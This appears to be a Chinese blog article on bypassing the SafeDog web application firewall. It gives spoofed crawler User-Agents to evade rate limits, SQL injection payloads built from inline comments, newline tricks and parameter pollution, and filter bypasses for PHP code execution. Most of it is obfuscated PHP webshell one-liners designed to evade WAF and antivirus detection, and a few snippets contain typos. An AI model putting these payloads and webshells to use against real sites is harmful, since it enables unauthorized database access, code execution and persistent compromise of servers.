当前位置:   article > 正文

waf绕过:网络安全狗绕过

waf绕过:网络安全狗绕过

引言:

所有的绕过原理都大致一致,但是并不是所有的绕过都能起到作用,渗透测试主要还是一个猜加试的过程,本文仅供参考

网络攻击或扫描绕过

1.get绕过(未开启cc防护)

网络安全狗的默认防护为,拒绝head请求,在扫描工具中大部分使用head请求去收集目录信息,所以改用get请求绕过

2.cc防护绕过

        cc防护:和检测流量攻击的原理相同,同一ip并发数过多对其进行禁用
        1)延迟绕过:限制扫描速率
        2)爬虫引擎:更换User-Agent头
  1. Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
  2. Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)

sql注入绕过

sql内联注释绕过:针对MySQL

mysql为了兼容其他数据,将mysql的特有语句放入/*!100441 */,其他数据库不执行,但在mysql中正常执行

  1. //被拦截
  2. http://192.168.10.111/sqli-labs/Less-1/?id=2 and 1=1
  3. //成功注入
  4. http://192.168.10.111/sqli-labs/Less-1/?id=2' /*!10441and*/ 1=2 --+

特殊符号绕过:

%0a:为换行        %23:为#

192.168.10.111/sqli-labs/Less-1/?id=2' --+/*%0a and 1=2 union select 1,2,3%23*/
  1. -- 最后展现在sql中的语句为
  2. --+/*
  3. and 1=2 union select 1,2,3 #*/

HPP参数污染:针对apache

因为apach接收数据时允许同名数据,并且最后一个数据为有效值,所以只有第最后一个参数后的语句有效

192.168.10.111/sqli-labs/Less-1/?id=2' /*&id=2' and 1=2 union select 1,database(),3 %23*/

 RCE绕过

变量拼接绕过

waf对某些特殊字符串进行检测时可以使用

  1. //如果对phpinfo检测,可以把参数改为
  2. $a='php';$b='info';$c=$a.$b;$c();

编码绕过 

assert(base64_decode('cGhwaW5mbygpOw=='));

字符替换绕过

assert(str_replace('x','','sxyxsxtxexm("ipconfig")'));

传参绕过

  1. url:rce_eval.php?str=tem
  2. $b=sys;$c=$_GET['str'];$a=$b.$c;$a('ipconfig');

后渗透绕过(木马免杀)

waf中eval和$_REQUEST同时出现时会被拦截

end免杀

end函数取数组最后一个元素

eval(end($_REQUEST['A']));

define免杀

  1. define("b","$_REQUEST['A']");
  2. eval(b);

 拼接免杀

  1. $a='ev';
  2. $b='al';
  3. $c=$a.$b;
  4. $d='c';
  5. $$d($_REQUEST['A']);
  6. //等价于eval($_REQUEST['A']);

函数免杀

  1. function abc($b){
  2. returb $b;
  3. }
  4. $a = abc("$_REQUEST['A']");
  5. eval($a);

类定义绕过

  1. class user{
  2. $name='';
  3. function __construct($name){
  4. $this->name=$name;
  5. }
  6. function __destruct(){
  7. eval($this->name);
  8. }
  9. }
  10. $a=new user($_REQUEST['A']);

cookie绕过

  1. $cookie = $_COOKIE;
  2. foreach($cookie as $key => $value){
  3. if($key=='eval'){
  4. $key($_REQUEST['A']);
  5. }
  6. }

预定义函数绕过

  1. $defun = $get_define_functions();
  2. //使用defun获取assert
  3. $defun['internal'][841]($_REQUEST['A']);

编码绕过 

eval(base64_decode('JF9SRVFVRVNUWydBJ10='));

并不是所有方式都是有用 

 

对于pc防火墙免杀如 火绒、360,也可以使用相同的思路

对于火绒免杀,有效的方法

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/神奇cpp/article/detail/949242
推荐阅读
相关标签
  

闽ICP备14008679号